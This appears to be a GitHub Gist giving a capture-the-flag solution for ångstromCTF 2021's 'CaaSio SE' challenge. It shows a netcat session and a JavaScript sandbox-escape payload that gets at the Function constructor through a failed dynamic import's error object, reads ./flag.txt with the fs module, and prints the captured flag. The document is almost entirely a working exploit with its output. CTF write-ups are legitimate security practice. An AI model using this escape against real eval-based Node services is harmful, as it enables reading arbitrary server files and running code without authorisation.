Last active
April 8, 2021 11:54
-
-
Save st98/8b0be546667feb2c7dddab3a9f551b55 to your computer and use it in GitHub Desktop.
ångstromCTF 2021 - CaaSio SE
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ nc misc.2021.chall.actf.co 21705 | |
Welcome to CaaSio Snake Edition! Enter your calculation: | |
[a='(async()=>{try{await import("")}catch(e){e[c]',b='p=process;p.stdout.write(p.mainModule.require',c='constructo'+'r']&&{[(a+='[c](b)()}})()')]:123,[b+='("fs").readFileSync("./flag.txt"))']:123,[a[c][c](a)()]:123} | |
Result: | |
{ | |
'(async()=>{try{await import("")}catch(e){e[c][c](b)()}})()': 123, | |
'p=process;p.stdout.write(p.mainModule.require("fs").readFileSync("./flag.txt"))': 123, | |
undefined: 123 | |
} | |
Variables: | |
a = (async()=>{try{await import("")}catch(e){e[c][c](b)()}})() | |
b = p=process;p.stdout.write(p.mainModule.require("fs").readFileSync("./flag.txt")) | |
c = constructor | |
actf{maybe_eval_is_just_a_bad_idea} | |
gg | |
splitline |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[a='(async()=>{try{await import("")}catch(e){e[c]',b='p=process;p.stdout.write(p.mainModule.require',c='constructo'+'r']&&{[(a+='[c](b)()}})()')]:123,[b+='("fs").readFileSync("./flag.txt"))']:123,[a[c][c](a)()]:123} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment